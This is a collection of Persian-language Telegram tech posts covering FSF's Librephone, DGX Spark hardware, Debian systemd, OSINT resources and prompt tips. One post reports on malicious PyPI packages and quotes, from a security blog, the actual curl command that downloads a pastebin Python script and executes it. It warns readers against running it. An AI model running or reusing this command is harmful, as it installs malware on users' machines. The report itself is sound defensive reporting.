💠پروژه جدید بنیاد نرم‌افزار آزاد Librephone💠

پروژه جدید FSF به نام Librephone قراره آزادی کامل رو به دنیای موبایل بیاره. بیشتر مردم امروزه از گوشی به عنوان دستگاه اصلی کامپیوترشون استفاده می‌کنن، و بعد از چهل سال دفاع از آزادی نرم‌افزار، حالا FSF می‌خواد همون آزادی مطالعه، تغییر، اشتراک و ویرایش برنامه‌ها رو به گوشی‌ها هم برسونه.

مدیر اجرایی FSF، زویی کویمن گفته:
«وقتی چهل سال پیش FSF رو شروع کردیم، هدف‌مون آزادی در کامپیوترهای دسکتاپ و سرور بود. تکنولوژی عوض شده، اما تعهدمون به آزادی نه. الان وقتشه همین مسیر رو برای موبایل هم ادامه بدیم. این پروژه پیچیده‌ست، ولی ما به کارهای بلندمدت عادت داریم.»

هدف Librephone اینه که فاصله بین نسخه‌های آزاد اندروید و آزادی کامل نرم‌افزار رو از بین ببره. برای شروع، FSF توسعه‌دهنده با سابقه‌ای به اسم راب ساووی (از پروژه‌های DejaGNU، Gnash، OpenStreetMap و غیره) رو استخدام کرده تا وضعیت فریمور و باینری‌های غیرآزاد گوشی‌ها رو بررسی کنه. تمرکز اولیه هم روی کارهایی هست که پروژه‌هایی مثل LineageOS انجام دادن، با این تفاوت که Librephone می‌خواد اون بخش‌های بسته و غیرآزاد رو حذف و جایگزین کنه.

سرمایه اولیه این پروژه رو جان گیل‌مور (عضو هیئت‌مدیره FSF) داده. خودش گفته:
«من سال‌ها از LineageOS با MicroG و F-Droid استفاده کردم که گوگل‌افزارها رو حذف می‌کنه. ولی بعد فهمیدم هنوز بخش‌هایی از فریمور گوشی به صورت باینری و بسته داخلش هست. به‌جای تسلیم شدن، تصمیم گرفتم با همکاری دیگران اون بخش‌ها رو مهندسی معکوس کنیم و کاملاً آزادشون کنیم.»

اولین گام پروژه پیدا کردن یه مدل گوشی با کمترین مشکل از نظر نرم‌افزار غیرآزاده. بعد از اون، تیم شروع می‌کنه به جایگزینی کامل کدهای بسته با نرم‌افزار آزاد. Librephone قراره بستری باشه برای توسعه‌دهندگانی که می‌خوان یه سیستم‌عامل کاملاً آزاد و سازگار با اندروید بسازن.

بنیاد نرم‌افزار آزاد سال‌ها از پروژه‌های مشابه مثل Replicant حمایت کرده و حالا با Librephone قدم بعدی رو برمی‌داره. گیل‌مور هم اضافه کرده:
«خوش‌شانس بودیم که راب ساووی رو پیدا کردیم، مهندسی با دهه‌ها تجربه در نرم‌افزار آزاد و سیستم‌های امبدد.»

ساووی هم گفته:
«به‌عنوان کسی که سال‌ها روی سیستم‌های امبدد و موبایل کار کرده، خوشحالم که می‌تونم برای ساخت یه گوشی واقعاً آزاد تلاش کنم. این کار آسون، سریع یا ارزون نیست، ولی ما روی شونه‌ی غول‌هایی وایستادیم که قبلاً بخش زیادی از مسیر رو رفتن. خوشحال می‌شیم شما هم با کار یا کمک مالی‌تون همراه ما بشید.»

اطلاعات بیشتر و نحوه مشارکت:
https://fsf.org/campaigns/librephone

سایت پروژه:

https://librephone.fsf.org

گفت‌وگو در IRC:
#librephone روی irc.libera.chat

#خبر

بنظرم اینکه نتونم یک مدل رو روی سیستم لود کنم خیلی خیلی بهتر از اینه که بتونم لود کنم و ۳-۴ تا توکن در ثانیه خروجی بگیرم.

خب بالاخره DGX Spark هم اومد و این انتشار دیرهنگام و قیمت 4000$ و عملکرد ضعیفش باعث شده هیچکس بهش علاقمند نباشه! برخلاف باقی محصولات nvidia که نسخه founder edition به زور پیدا می‌شه این محصول رو به راحتی می‌تونید پیدا کنید.

تنها نکته مثبت این محصول؛ قابل حمل بودن و البته مصرف برق کم هست!
برای مصرف برق کم گزینه‌های دیگه و سریعتر هم هست؛ AMD و شرکت‌های دیگه کارهای جالبی در این زمینه کردند؛ چند موردی رو توی کانال‌های دیگه معرفی کردم (تست هم کردم)
قابل حمل بودنش اما؛ کمی شک دارم کسی بخواد دستگاه 4000$ دلاری که موقع استفاده هم شدیدا داغ میشه رو توی کیفش بذاره و با خودش جابجا کنه (ی سوال همینجا برام پیش اومد؟ چرا ماژول wifi اش زیر دستگاه هست بخشی که قراره روی میز قرار بگیره؟)
اکثر کسایی که خرید کردند و تست کردند؛ میگن باید توی خونه بذاری با یک خنک کننده خوب و دسترسی remote بهش بگیری!

موارد جایگزین چی می‌تونه باشه ؟
از شرکت اینتل می‌تونید برید سراغ GPUهای سری Arc B50, B60 با توجه به قیمت‌‌ها میشه با کمی حوصله سیستمی با قمیت 5000-6000$ خرید کرد که 256GB رم و 96GB هم حافظه گرافیک داشته باشه با سرعت انتقال داده سریعتر BUS منظورم هست. شخصا با قیمت‌هایی که گفته شد؛ قطعات رو کنار هم گذاشتم حدود 5200$ می‌شد البته هارد ۲ برابر و ماژولار بودن و گیم و کارهای دیگه انجام دادن روی این سیستم مواردی هست که با پرداخت ۱۲۰۰ دلار بیشتر به دست میارید! مهمترین نکته پرفورمنس حداقل ۱۰ برابر برای خیلی از مدل‌ها هست!
بعضی مدل‌هایی که روی DGX Spark طبق گزارشات 3-5 t/s بیشتر نمیده روی این دستگاه بالای 30t/s بهتون میده مثلا مدل‌های خانواده Qwen3

جایگزین‌های دیگه خرید mini-pc های شرکت‌های رغیب که از AI chip های AMD استفاده می‌کنند؛ با اینکه توی Inference عملکرد خوبی دارند مشکل این دستگاها عملکرد ضعیف موقع Finetune کردن هست برای همین گزینه Intel رو بیشتر پیشنهاد میدم!

اما اگر هر دو این موارد برای شما قابل قبول نیست؛ حتی خرید یک سیستم با ۴ تا Nvidia 3090 خوش قیمت‌تر و به مراتب سریعتر از DGX Spark هست.

تنها نکته مصرف برق هست؛ دو مورد اول مصرف برق زیادی ندارند مثلا B50 های اینتل 70W مصرف دارند؛ اما حتی سیستمی با ۴ تا 3090 که مصرف بالایی هم داره خیلی بصرفه تر از DGX Spark خواهد بود؟ چرا ؟ میزان زمانی که دولوپر‌های شما بر اساس کند بودن token/second از دست نمی‌دند میزان زمانی هست که کار شما سریعتر پیشرفت می‌کنه و خب این خودش تاثیر مستقیم روی درآمد داره!


خلاصه که DGX Spark به معنای واقعی یک سخت‌افزار بدرد نخور ولی بسیار خوشگل هست!

شخصا برای آپگیرید سیستم چشم به Arc B60 دارم و البته قیمتی هم که بالاتر گفتم با فرض قیمت‌هایی هست که اینتل گفت + هاردهای اضافه و water cooling, ...

پ.ن:
۱- هزینه سیستم با ۴ تا 3090 حدودا: 3800-5200 دلار هست بستگی به مادربرد و ...
۲- این لینک هم ببینید اگر ۴ تا 3090 خواستید ببندید.
Local Ai Home Server Build at High End $5000 Price

سرعت اینترنت ایران عالیه 🥰


@SohrabContents

امین بشیری که مسیرش از استارتاپ‌هایی در ایران شروع شد و امروز در کمپانی تاکسی اینترنتی لیفت(Lyft) به‌عنوان Software Engineer فعالیت می‌کند.
امین از مسیر واقعی مهاجرت کاری، چالش‌های مصاحبه در شرکت‌های بزرگ، تجربه‌های شکست‌خورده و درس‌هایی گفت که هر برنامه‌نویس باید بشنود!
https://youtu.be/PH1qcACGRXw?si=B50eJ8adFDGL3QBC

@DevTwitter | <Name/>

با من بخند 🦋

🔶 دبیان تصمیم گرفت تغییر systemd را لغو کند تا سازگاری با برنامه‌های قدیمی حفظ شود.

سیستم systemd در نسخهٔ جدید، دسترسی پوشهٔ /var/lock را محدود کرده بود تا فقط root بتواند در آن بنویسد. اما این باعث خرابی برخی برنامه‌های قدیمی شد که هنوز برای قفل‌گذاری از آن پوشه استفاده می‌کنند.

کمیتهٔ دبیان گفت طبق استاندارد FHS، این پوشه باید برای همهٔ کاربران سیستم قابل نوشتن باشد و بنابراین دستور داد پکیج systemd در دبیان اصلاح شود تا دسترسی قبلی برگردد.

#لینوکس

@TheRaymondDev

🔶 طرح شیشه ای ویندوز ویستا

#یادآوری
#ویندوز

@TheRaymondDev

‏بلندتر کردن یا اضافه‌کردن کاراکتر ویژه کافی نیست — الگوها قابل حدس‌اند. هکرها با شناخت الگو و هوش‌مصنوعی حمله رو هدفمند می‌کنن. از password manager و تسترهای امن استفاده کن؛ هرگز رمز اصلی رو تو سایت‌های ناشناس وارد نکنید.

https://www.terrific.tools/online/password-strength-checker

@DevTwitter | <Nimo/>

🔥 New GitHub Trending Repositories 🔥

Found 7 new trending repositories:

1. tiny11builder by ntdevlabs
📝 Scripts to build a trimmed-down Windows 11 image.
💻 PowerShell | ⭐ 14,893 | 🌟 Today: 69
🔗 Link

2. GPTs by linexjlin
📝 leaked prompts of GPTs
💻 Star | ⭐ 30,575 | 🌟 Today: 90
🔗 Link

3. reflex by reflex-dev
📝 🕸️ Web apps in pure Python 🐍
💻 Python | ⭐ 26,098 | 🌟 Today: 36
🔗 Link

4. PDFPatcher by wmjordan
📝 PDF补丁丁——PDF工具箱，可以编辑书签、剪裁旋转页面、解除限制、提取或合并文档，探查文档结构，提取图片、转成图片等等
💻 C# | ⭐ 10,876 | 🌟 Today: 108
🔗 Link

5. datadog-agent by DataDog
📝 Main repository for Datadog Agent
💻 Go | ⭐ 3,286 | 🌟 Today: 2
🔗 Link

6. testcontainers-java by testcontainers
📝 Testcontainers is a Java library that supports JUnit tests, providing lightweight, throwaway instanc...
💻 Java | ⭐ 8,359 | 🌟 Today: 2
🔗 Link

7. llm-cookbook by datawhalechina
📝 面向开发者的 LLM 入门教程，吴恩达大模型系列课程中文版
💻 Jupyter Notebook | ⭐ 21,440 | 🌟 Today: 75
🔗 Link


🔘 @github_trending_daily

براتون تاحالا سوال شده چطوری OSINT می‌کنن؟ OSINT یعنی پیداکردن اطلاعات بیشتر راجع به یه چیزی با منابع عادی اینترنت مثلا با عکس یا ایمیل یه شرکت یا شخص ببینید توی چه سایت های دیگه بوده و اطلاعات بیشتری راجع بهش در بیارید. (قانونی)

اینجا یه لیست بزرگ از منابع OSINT جمع آوری شده که خیلی کمکتون می‌کنه (دقت کنید از اطلاعات پابلیک اینترنت داره استفاده می‌کنه و قانونیه و بیشتر برای گردآوری اطلاعات استفاده می‌شه تا هدف آسیب رسوندن به کسی و همچنین فقط برای کاربرا استفاده نمی‌شه مثلا مثل عکس بالا می‌تونید روی دامین یا ایپی یه سایت و یا حتی اسم یه شرکت این کارو کنید)

github.com/jivoi/awesome-osint

@Linuxor

اینو اورتینکر ها درک میکنن

دوتا کتابخونه sisaws و secmeasure که هکر‌ها داخل PyPi گذاشته بودن. توضیحات بیشتر KALI

یکم گشتم داخل سایت Zscaler Blog توضیح داد که کتابخونه مورد نظر یه کد رو اجرا میکرد

If a developer imports the sisaws package and invokes the gen_token function, the code will decode a hexadecimal string that reveals a curl command, which is then used to fetch an additional Python script, as shown below.

curl -sL https://pastebin.com/raw/jaH2uRE1 -o %TEMP%\\helper.py && python %TEMP%\\helper.py

نکته:‌به هیچ‌وجه کد رو اجرا نکنید، بنده هیچ مسئولیتی قبول نمیکنم.
حالا کدی که این دستور curl دانلود میکرد رو از همین لینک گرفتم.

کدهای دانلود شده داخل pdf زیر به صورت آموزشی توضیح داده میشن.

#python #malware #code_analysis

🌌 @the_code_Verse 🪐

اینم کتاب

#️⃣ #math #book #programming

➖➖➖➖➖➖➖➖➖➖ 

🥷🏻 CHANNEL | GROUP

📘 کتاب: How to Prove It – نوشته‌ی Daniel J. Velleman

این کتاب یکی از بهترین منابع برای یادگیری منطق ریاضی و روش‌های اثباته. برخلاف بیشتر کتاب‌های دانشگاهی، How to Prove It از پایه شروع می‌کنه و قدم‌به‌قدم یاد می‌ده چطور از یک گزاره ساده به یک استدلال کامل برسی.

مطالبش شامل منطق گزاره‌ای، کوانتورها، مجموعه‌ها، توابع، روابط و روش‌های مختلف اثبات مثل اثبات مستقیم، خلف و استقراست.
نویسنده با مثال‌های زیاد نشون می‌ده چطور باید “فکر کردن ریاضیاتی” رو تمرین کنی مهارتی که توی برنامه‌نویسی، طراحی الگوریتم و تحلیل مسائل پیچیده واقعاً حیاتی‌ه.

📖 این کتاب برای هرکسی مناسبه که می‌خواد منطق پشت ریاضیات و اثبات‌ها رو عمیق‌تر درک کنه، مخصوصاً دانشجوهای ریاضی و علوم کامپیوتر و برنامه‌نویس‌هایی که دنبال تفکر دقیق‌تر و تحلیلی‌ترن.

پی دی اف کتاب

#️⃣ #math #book #programming

➖➖➖➖➖➖➖➖➖➖ 

🥷🏻 CHANNEL | GROUP

اینکه مغز انسان تونسته یه هوش مصنوعی بسازه برای مغز تحسین بر انگیزه نه برای چیزی که ساخته.

فکر کنید یه جسمی (مغز) چقدر باید از بین مسیر های ممکن مسیری رو بره که بتونه یه چیزی بسازه که شبیه به خودش کار می‌کنه.

مغز ما یه meta-learning فوق پیشرفتس؛ یعنی اینکه می‌تونه یاد بگیره که چطوری یاد بگیره نه اینکه فقط یه کار مشخص رو یاد بگیره‌.

@Linuxor

💥یه نکته مهم و حرفه‌ای از پرامپت انجینیرینگ:

🔹 به‌جای گفتن "چی می‌خوای"، بگو "چطور می‌خوای"

یعنی به مدل فقط هدف نده، بلکه نقشه‌ی رسیدن به هدف رو هم بده.

مثلاً به‌جای اینکه بگی:

«یه توضیح فنی دربارهٔ شبکه بنویس»

بگو:

«یه توضیح فنی کوتاه، با لحن رسمی و ساختار مرحله‌به‌مرحله بنویس که مناسب ارائه در مستندات مهندسی باشه.»


این کار باعث می‌شه خروجی دقیق‌تر، قابل‌پیش‌بینی‌تر و نزدیک‌تر به نیتت باشه.


@code2_ir
کانال کد۲